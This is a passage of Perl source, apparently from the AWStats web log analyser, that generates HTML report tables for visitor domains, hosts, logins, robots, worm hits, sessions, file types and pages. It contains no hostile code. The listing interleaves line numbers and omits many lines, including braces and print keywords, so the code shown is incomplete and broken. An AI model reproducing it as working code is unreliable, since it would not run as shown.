"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
17585
. AltTitle("$newkey")
17586
. " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
17588
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
17589
if ( $ShowDomainsStats =~ /U/i ) {
17592
? $_domener_p{$key} / $TotalPages
17595
$_domener_u += ( $_domener_h{$key} / $TotalHits );
17597
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
17598
print "<td>$_domener_u ("
17599
. sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
17602
if ( $ShowDomainsStats =~ /V/i ) {
17605
? $_domener_p{$key} / $TotalPages
17608
$_domener_v += ( $_domener_h{$key} / $TotalHits );
17610
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
17611
print "<td>$_domener_v ("
17612
. sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
17616
if ( $ShowDomainsStats =~ /P/i ) {
17618
. ( $_domener_p{$key} ? $_domener_p{$key} : ' ' )
17621
if ( $ShowDomainsStats =~ /H/i ) {
17622
print "<td>$_domener_h{$key}</td>";
17624
if ( $ShowDomainsStats =~ /B/i ) {
17625
print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
17627
print "<td class=\"aws\">";
17629
if ( $ShowDomainsStats =~ /P/i ) {
17631
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
17635
if ( $ShowDomainsStats =~ /H/i ) {
17637
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
17641
if ( $ShowDomainsStats =~ /B/i ) {
17643
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
17644
. AltTitle("") . " />";
17649
$total_u += $_domener_u;
17650
$total_v += $_domener_v;
17651
$total_p += $_domener_p{$key};
17652
$total_h += $_domener_h{$key};
17653
$total_k += $_domener_k{$key} || 0;
17656
my $rest_u = $TotalUnique - $total_u;
17657
my $rest_v = $TotalVisits - $total_v;
17658
$rest_p = $TotalPages - $total_p;
17659
$rest_h = $TotalHits - $total_h;
17660
$rest_k = $TotalBytes - $total_k;
17666
{ # All other domains (known or not)
17668
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
17669
if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
17670
if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
17671
if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
17672
if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
17673
if ( $ShowDomainsStats =~ /B/i ) {
17674
print "<td>" . Format_Bytes($rest_k) . "</td>";
17676
print "<td class=\"aws\"> </td>";
17683
#--------------------------
17684
if ($ShowHostsStats) {
17685
if ($Debug) { debug( "ShowHostsStats", 2 ); }
17686
print "$Center<a name=\"visitors\"> </a><br />\n";
17688
"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) - <a href=\""
17690
$ENV{'GATEWAY_INTERFACE'}
17692
? XMLEncode("$AWScript?${NewLinkParams}output=allhosts")
17693
: "$PROG$StaticLinks.allhosts.$StaticExt"
17695
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
17697
$ENV{'GATEWAY_INTERFACE'}
17699
? XMLEncode("$AWScript?${NewLinkParams}output=lasthosts")
17700
: "$PROG$StaticLinks.lasthosts.$StaticExt"
17702
. "\"$NewLinkTarget>$Message[9]</a> - <a href=\""
17704
$ENV{'GATEWAY_INTERFACE'}
17706
? XMLEncode("$AWScript?${NewLinkParams}output=unknownip")
17707
: "$PROG$StaticLinks.unknownip.$StaticExt"
17709
. "\"$NewLinkTarget>$Message[45]</a>";
17710
&tab_head( "$title", 19, 0, 'visitors' );
17711
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
17713
if ( $MonthRequired ne 'all' ) {
17715
"$Message[81] : $TotalHostsKnown $Message[82], $TotalHostsUnknown $Message[1]<br />$TotalUnique $Message[11]</th>";
17718
print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>";
17720
&ShowHostInfo('__title__');
17721
if ( $ShowHostsStats =~ /P/i ) {
17722
print "<th bgcolor=\"#$color_p\" width=\"80\""
17724
. ">$Message[56]</th>";
17726
if ( $ShowHostsStats =~ /H/i ) {
17727
print "<th bgcolor=\"#$color_h\" width=\"80\""
17729
. ">$Message[57]</th>";
17731
if ( $ShowHostsStats =~ /B/i ) {
17732
print "<th bgcolor=\"#$color_k\" width=\"80\""
17734
. ">$Message[75]</th>";
17736
if ( $ShowHostsStats =~ /L/i ) {
17737
print "<th width=\"120\">$Message[9]</th>";
17740
$total_p = $total_h = $total_k = 0;
17742
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
17744
foreach my $key (@keylist) {
17746
print "<td class=\"aws\">$key</td>";
17747
&ShowHostInfo($key);
17748
if ( $ShowHostsStats =~ /P/i ) {
17749
print '<td>' . ( $_host_p{$key} || " " ) . '</td>';
17751
if ( $ShowHostsStats =~ /H/i ) {
17752
print "<td>$_host_h{$key}</td>";
17754
if ( $ShowHostsStats =~ /B/i ) {
17755
print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>';
17757
if ( $ShowHostsStats =~ /L/i ) {
17758
print '<td nowrap="nowrap">'
17761
? Format_Date( $_host_l{$key}, 1 )
17767
$total_p += $_host_p{$key};
17768
$total_h += $_host_h{$key};
17769
$total_k += $_host_k{$key} || 0;
17772
$rest_p = $TotalPages - $total_p;
17773
$rest_h = $TotalHits - $total_h;
17774
$rest_k = $TotalBytes - $total_k;
17775
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
17776
{ # All other visitors (known or not)
17779
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
17781
if ( $ShowHostsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
17782
if ( $ShowHostsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
17783
if ( $ShowHostsStats =~ /B/i ) {
17784
print "<td>" . Format_Bytes($rest_k) . "</td>";
17786
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
17793
#----------------------------
17794
if ($ShowEMailSenders) {
17795
&ShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
17798
# BY RECEIVER EMAIL
17799
#----------------------------
17800
if ($ShowEMailReceivers) {
17801
&ShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
17805
#----------------------------
17806
if ($ShowAuthenticatedUsers) {
17807
if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); }
17808
print "$Center<a name=\"logins\"> </a><br />\n";
17810
"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) - <a href=\""
17812
$ENV{'GATEWAY_INTERFACE'}
17814
? XMLEncode("$AWScript?${NewLinkParams}output=alllogins")
17815
: "$PROG$StaticLinks.alllogins.$StaticExt"
17817
. "\"$NewLinkTarget>$Message[80]</a>";
17818
if ( $ShowAuthenticatedUsers =~ /L/i ) {
17819
$title .= " - <a href=\""
17821
$ENV{'GATEWAY_INTERFACE'}
17823
? XMLEncode("$AWScript?${NewLinkParams}output=lastlogins")
17824
: "$PROG$StaticLinks.lastlogins.$StaticExt"
17826
. "\"$NewLinkTarget>$Message[9]</a>";
17828
&tab_head( "$title", 19, 0, 'logins' );
17829
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
17830
. ( scalar keys %_login_h ) . "</th>";
17831
&ShowUserInfo('__title__');
17832
if ( $ShowAuthenticatedUsers =~ /P/i ) {
17833
print "<th bgcolor=\"#$color_p\" width=\"80\""
17835
. ">$Message[56]</th>";
17837
if ( $ShowAuthenticatedUsers =~ /H/i ) {
17838
print "<th bgcolor=\"#$color_h\" width=\"80\""
17840
. ">$Message[57]</th>";
17842
if ( $ShowAuthenticatedUsers =~ /B/i ) {
17843
print "<th bgcolor=\"#$color_k\" width=\"80\""
17845
. ">$Message[75]</th>";
17847
if ( $ShowAuthenticatedUsers =~ /L/i ) {
17848
print "<th width=\"120\">$Message[9]</th>";
17851
$total_p = $total_h = $total_k = 0;
17853
foreach ( values %_login_h ) {
17854
if ( $_ > $max_h ) { $max_h = $_; }
17857
foreach ( values %_login_k ) {
17858
if ( $_ > $max_k ) { $max_k = $_; }
17861
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
17863
foreach my $key (@keylist) {
17867
if ( $max_h > 0 ) {
17868
$bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1;
17869
} # use max_h to enable to compare pages with hits
17870
if ( $max_h > 0 ) {
17871
$bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1;
17873
if ( $max_k > 0 ) {
17874
$bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1;
17876
print "<tr><td class=\"aws\">$key</td>";
17877
&ShowUserInfo($key);
17878
if ( $ShowAuthenticatedUsers =~ /P/i ) {
17880
. ( $_login_p{$key} ? $_login_p{$key} : " " )
17883
if ( $ShowAuthenticatedUsers =~ /H/i ) {
17884
print "<td>$_login_h{$key}</td>";
17886
if ( $ShowAuthenticatedUsers =~ /B/i ) {
17887
print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
17889
if ( $ShowAuthenticatedUsers =~ /L/i ) {
17893
? Format_Date( $_login_l{$key}, 1 )
17899
$total_p += $_login_p{$key};
17900
$total_h += $_login_h{$key};
17901
$total_k += $_login_k{$key};
17904
$rest_p = $TotalPages - $total_p;
17905
$rest_h = $TotalHits - $total_h;
17906
$rest_k = $TotalBytes - $total_k;
17907
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
17908
{ # All other logins
17910
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">"
17911
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
17913
. ( $PageDir eq 'rtl' ? "</span>" : "" )
17916
if ( $ShowAuthenticatedUsers =~ /P/i ) {
17917
print "<td>" . ( $rest_p ? $rest_p : " " ) . "</td>";
17919
if ( $ShowAuthenticatedUsers =~ /H/i ) {
17920
print "<td>$rest_h</td>";
17922
if ( $ShowAuthenticatedUsers =~ /B/i ) {
17923
print "<td>" . Format_Bytes($rest_k) . "</td>";
17925
if ( $ShowAuthenticatedUsers =~ /L/i ) {
17926
print "<td> </td>";
17934
#----------------------------
17935
if ($ShowRobotsStats) {
17936
if ($Debug) { debug( "ShowRobotStats", 2 ); }
17937
print "$Center<a name=\"robots\"> </a><br />\n";
17939
"$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) - <a href=\""
17941
$ENV{'GATEWAY_INTERFACE'}
17943
? XMLEncode("$AWScript?${NewLinkParams}output=allrobots")
17944
: "$PROG$StaticLinks.allrobots.$StaticExt"
17946
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
17948
$ENV{'GATEWAY_INTERFACE'}
17950
? XMLEncode("$AWScript?${NewLinkParams}output=lastrobots")
17951
: "$PROG$StaticLinks.lastrobots.$StaticExt"
17953
. "\"$NewLinkTarget>$Message[9]</a>",
17956
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
17957
. Tooltip(16) . "><th>"
17958
. ( scalar keys %_robot_h )
17959
. " $Message[51]*</th>";
17960
if ( $ShowRobotsStats =~ /H/i ) {
17962
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
17964
if ( $ShowRobotsStats =~ /B/i ) {
17966
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
17968
if ( $ShowRobotsStats =~ /L/i ) {
17969
print "<th width=\"120\">$Message[9]</th>";
17972
$total_p = $total_h = $total_k = $total_r = 0;
17974
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
17976
foreach my $key (@keylist) {
17977
print "<tr><td class=\"aws\">"
17978
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
17979
. ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
17980
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
17981
if ( $ShowRobotsStats =~ /H/i ) {
17983
. ( $_robot_h{$key} - $_robot_r{$key} )
17984
. ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
17986
if ( $ShowRobotsStats =~ /B/i ) {
17987
print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
17989
if ( $ShowRobotsStats =~ /L/i ) {
17993
? Format_Date( $_robot_l{$key}, 1 )
18000
#$total_p += $_robot_p{$key};
18001
$total_h += $_robot_h{$key};
18002
$total_k += $_robot_k{$key} || 0;
18003
$total_r += $_robot_r{$key} || 0;
18007
# For bots we need to count Totals
18008
my $TotalPagesRobots =
18009
0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
18010
my $TotalHitsRobots = 0;
18011
foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
18012
my $TotalBytesRobots = 0;
18013
foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
18014
my $TotalRRobots = 0;
18015
foreach ( values %_robot_r ) { $TotalRRobots += $_; }
18016
$rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
18017
$rest_h = $TotalHitsRobots - $total_h;
18018
$rest_k = $TotalBytesRobots - $total_k;
18019
$rest_r = $TotalRRobots - $total_r;
18021
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
18022
{ # All other robots
18024
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18025
if ( $ShowRobotsStats =~ /H/i ) {
18027
. ( $rest_h - $rest_r )
18028
. ( $rest_r ? "+$rest_r" : "" ) . "</td>";
18030
if ( $ShowRobotsStats =~ /B/i ) {
18031
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
18033
if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; }
18037
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
18041
#----------------------------
18042
if ($ShowWormsStats) {
18043
if ($Debug) { debug( "ShowWormsStats", 2 ); }
18044
print "$Center<a name=\"worms\"> </a><br />\n";
18045
&tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
18047
print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
18048
print "<th>" . ( scalar keys %_worm_h ) . " $Message[164]*</th>";
18049
print "<th>$Message[167]</th>";
18050
if ( $ShowWormsStats =~ /H/i ) {
18052
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
18054
if ( $ShowWormsStats =~ /B/i ) {
18056
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
18058
if ( $ShowWormsStats =~ /L/i ) {
18059
print "<th width=\"120\">$Message[9]</th>";
18062
$total_p = $total_h = $total_k = 0;
18064
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
18066
foreach my $key (@keylist) {
18068
print "<td class=\"aws\">"
18069
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
18070
. ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key )
18071
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
18072
print "<td class=\"aws\">"
18073
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
18074
. ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key )
18075
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
18076
if ( $ShowWormsStats =~ /H/i ) {
18077
print "<td>" . $_worm_h{$key} . "</td>";
18079
if ( $ShowWormsStats =~ /B/i ) {
18080
print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>";
18082
if ( $ShowWormsStats =~ /L/i ) {
18086
? Format_Date( $_worm_l{$key}, 1 )
18093
#$total_p += $_worm_p{$key};
18094
$total_h += $_worm_h{$key};
18095
$total_k += $_worm_k{$key} || 0;
18099
# For worms we need to count Totals
18100
my $TotalPagesWorms =
18101
0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
18102
my $TotalHitsWorms = 0;
18103
foreach ( values %_worm_h ) { $TotalHitsWorms += $_; }
18104
my $TotalBytesWorms = 0;
18105
foreach ( values %_worm_k ) { $TotalBytesWorms += $_; }
18106
$rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
18107
$rest_h = $TotalHitsWorms - $total_h;
18108
$rest_k = $TotalBytesWorms - $total_k;
18110
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms
18113
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18114
print "<td class=\"aws\">-</td>";
18115
if ( $ShowWormsStats =~ /H/i ) {
18116
print "<td>" . ($rest_h) . "</td>";
18118
if ( $ShowWormsStats =~ /B/i ) {
18119
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
18121
if ( $ShowWormsStats =~ /L/i ) { print "<td> </td>"; }
18124
&tab_end("* $Message[158]");
18127
print "\n<a name=\"how\"> </a>\n\n";
18130
#----------------------------
18131
if ($ShowSessionsStats) {
18132
if ($Debug) { debug( "ShowSessionsStats", 2 ); }
18133
print "$Center<a name=\"sessions\"> </a><br />\n";
18134
my $title = "$Message[117]";
18135
&tab_head( $title, 19, 0, 'sessions' );
18137
foreach (@SessionsRange) {
18138
$average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_};
18139
$Totals += $_session{$_} || 0;
18141
if ($Totals) { $average_s = int( $average_s / $Totals ); }
18142
else { $average_s = '?'; }
18143
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
18145
. "><th>$Message[10]: $TotalVisits - $Message[96]: $average_s s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
18149
foreach my $key (@SessionsRange) {
18151
if ($TotalVisits) {
18152
$p = int( $_session{$key} / $TotalVisits * 1000 ) / 10;
18154
$total_s += $_session{$key} || 0;
18155
print "<tr><td class=\"aws\">$key</td>";
18157
. ( $_session{$key} ? $_session{$key} : " " ) . "</td>";
18159
. ( $_session{$key} ? "$p %" : " " ) . "</td>";
18163
$rest_s = $TotalVisits - $total_s;
18164
if ( $rest_s > 0 ) { # All others sessions
18166
if ($TotalVisits) {
18167
$p = int( $rest_s / $TotalVisits * 1000 ) / 10;
18171
. "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
18172
print "<td>$rest_s</td>";
18173
print "<td>" . ( $rest_s ? "$p %" : " " ) . "</td>";
18180
#-------------------------
18181
if ($ShowFileTypesStats) {
18182
if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); }
18183
print "$Center<a name=\"filetypes\"> </a><br />\n";
18185
foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; }
18187
foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; }
18188
my $title = "$Message[73]";
18189
if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; }
18190
&tab_head( "$title", 19, 0, 'filetypes' );
18192
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
18194
if ( $ShowFileTypesStats =~ /H/i ) {
18195
print "<th bgcolor=\"#$color_h\" width=\"80\""
18197
. ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
18199
if ( $ShowFileTypesStats =~ /B/i ) {
18200
print "<th bgcolor=\"#$color_k\" width=\"80\""
18202
. ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
18204
if ( $ShowFileTypesStats =~ /C/i ) {
18206
"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>";
18212
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
18214
foreach my $key (@keylist) {
18215
my $p_h = ' ';
18216
my $p_k = ' ';
18218
$p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
18222
$p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10;
18225
if ( $key eq 'Unknown' ) {
18227
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18228
. "><img src=\"$DirIcons\/mime\/unknown.png\""
18230
. " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
18233
my $nameicon = $MimeHashIcon{$key} || "notavailable";
18235
$MimeHashLib{ $MimeHashFamily{$key} || "" } || " ";
18237
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18238
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
18240
. " /></td><td class=\"aws\">$key</td>";
18241
print "<td class=\"aws\">$nametype</td>";
18243
if ( $ShowFileTypesStats =~ /H/i ) {
18244
print "<td>$_filetypes_h{$key}</td><td>$p_h</td>";
18246
if ( $ShowFileTypesStats =~ /B/i ) {
18247
print '<td nowrap="nowrap">'
18248
. Format_Bytes( $_filetypes_k{$key} )
18249
. "</td><td>$p_k</td>";
18251
if ( $ShowFileTypesStats =~ /C/i ) {
18252
if ( $_filetypes_gz_in{$key} ) {
18255
1 - $_filetypes_gz_out{$key} /
18256
$_filetypes_gz_in{$key}
18260
"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
18261
Format_Bytes( $_filetypes_gz_in{$key} ),
18262
Format_Bytes( $_filetypes_gz_out{$key} ),
18264
$_filetypes_gz_in{$key} -
18265
$_filetypes_gz_out{$key}
18269
$total_con += $_filetypes_gz_in{$key};
18270
$total_cre += $_filetypes_gz_out{$key};
18273
print "<td> </td><td> </td><td> </td>";
18280
# Add total (only usefull if compression is enabled)
18281
if ( $ShowFileTypesStats =~ /C/i ) {
18283
if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; }
18284
if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; }
18287
"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
18288
if ( $ShowFileTypesStats =~ /C/i ) {
18291
int( 100 * ( 1 - $total_cre / $total_con ) );
18293
"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
18294
Format_Bytes($total_con),
18295
Format_Bytes($total_cre),
18296
Format_Bytes( $total_con - $total_cre ),
18301
print "<td> </td><td> </td><td> </td>";
18310
#-------------------------
18311
if ($ShowFileSizesStats) {
18316
#-------------------------
18317
if ($ShowPagesStats) {
18320
"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",
18325
"$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n";
18327
"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) - <a href=\""
18329
$ENV{'GATEWAY_INTERFACE'}
18331
? XMLEncode("$AWScript?${NewLinkParams}output=urldetail")
18332
: "$PROG$StaticLinks.urldetail.$StaticExt"
18334
. "\"$NewLinkTarget>$Message[80]</a>";
18335
if ( $ShowPagesStats =~ /E/i ) {
18336
$title .= " - <a href=\""
18338
$ENV{'GATEWAY_INTERFACE'}
18340
? XMLEncode("$AWScript?${NewLinkParams}output=urlentry")
18341
: "$PROG$StaticLinks.urlentry.$StaticExt"
18343
. "\"$NewLinkTarget>$Message[104]</a>";
18345
if ( $ShowPagesStats =~ /X/i ) {
18346
$title .= " - <a href=\""
18348
$ENV{'GATEWAY_INTERFACE'}
18350
? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
18351
: "$PROG$StaticLinks.urlexit.$StaticExt"
18353
. "\"$NewLinkTarget>$Message[116]</a>";
18355
&tab_head( "$title", 19, 0, 'urls' );
18357
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$TotalDifferentPages $Message[28]</th>";
18358
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18360
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
18362
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18364
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
18366
if ( $ShowPagesStats =~ /B/i ) {
18368
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
18370
if ( $ShowPagesStats =~ /E/i ) {
18372
"<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
18374
if ( $ShowPagesStats =~ /X/i ) {
18376
"<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
18379
# Call to plugins' function ShowPagesAddField
18381
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
18384
# my $function="ShowPagesAddField_$pluginname('title')";
18385
# eval("$function");
18386
my $function = "ShowPagesAddField_$pluginname";
18387
&$function('title');
18389
print "<th> </th></tr>\n";
18390
$total_p = $total_e = $total_x = $total_k = 0;
18394
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
18396
foreach my $key (@keylist) {
18397
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
18398
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
18399
$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
18402
foreach my $key (@keylist) {
18403
print "<tr><td class=\"aws\">";
18404
&ShowURLInfo($key);
18410
if ( $max_p > 0 ) {
18412
int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
18414
if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
18415
if ( $max_p > 0 ) {
18417
int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
18419
if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
18420
if ( $max_p > 0 ) {
18422
int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
18424
if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
18425
if ( $max_k > 0 ) {
18428
( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
18431
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
18432
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18433
print "<td>$_url_p{$key}</td>";
18435
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18436
print "<td>$_url_p{$key}</td>";
18438
if ( $ShowPagesStats =~ /B/i ) {
18443
$_url_k{$key} / ( $_url_p{$key} || 1 )
18449
if ( $ShowPagesStats =~ /E/i ) {
18451
. ( $_url_e{$key} ? $_url_e{$key} : " " ) . "</td>";
18453
if ( $ShowPagesStats =~ /X/i ) {
18455
. ( $_url_x{$key} ? $_url_x{$key} : " " ) . "</td>";
18458
# Call to plugins' function ShowPagesAddField
18459
foreach my $pluginname (
18460
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
18463
# my $function="ShowPagesAddField_$pluginname('$key')";
18464
# eval("$function");
18465
my $function = "ShowPagesAddField_$pluginname";
18468
print "<td class=\"aws\">";
18469
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18471
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\""
18475
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18477
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\""
18481
if ( $ShowPagesStats =~ /B/i ) {
18483
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\""
18487
if ( $ShowPagesStats =~ /E/i ) {
18489
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\""
18493
if ( $ShowPagesStats =~ /X/i ) {
18495
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\""
18496
. AltTitle("") . " />";
18498
print "</td></tr>\n";
18499
$total_p += $_url_p{$key} || 0;
18500
$total_e += $_url_e{$key} || 0;
18501
$total_x += $_url_x{$key} || 0;
18502
$total_k += $_url_k{$key} || 0;
18505
$rest_p = $TotalPages - $total_p;
18506
$rest_e = $TotalEntries - $total_e;
18507
$rest_x = $TotalExits - $total_x;
18508
$rest_k = $TotalBytesPages - $total_k;
18509
if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 )
18512
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18513
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
18514
print "<td>$rest_p</td>";
18516
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
18517
print "<td>$rest_p</td>";
18519
if ( $ShowPagesStats =~ /B/i ) {
18523
? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
18528
if ( $ShowPagesStats =~ /E/i ) {
18529
print "<td>" . ( $rest_e ? $rest_e : " " ) . "</td>";
18531
if ( $ShowPagesStats =~ /X/i ) {
18532
print "<td>" . ( $rest_x ? $rest_x : " " ) . "</td>";
18535
# Call to plugins' function ShowPagesAddField
18536
foreach my $pluginname (
18537
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
18540
# my $function="ShowPagesAddField_$pluginname('')";
18541
# eval("$function");
18542
my $function = "ShowPagesAddField_$pluginname";
18545
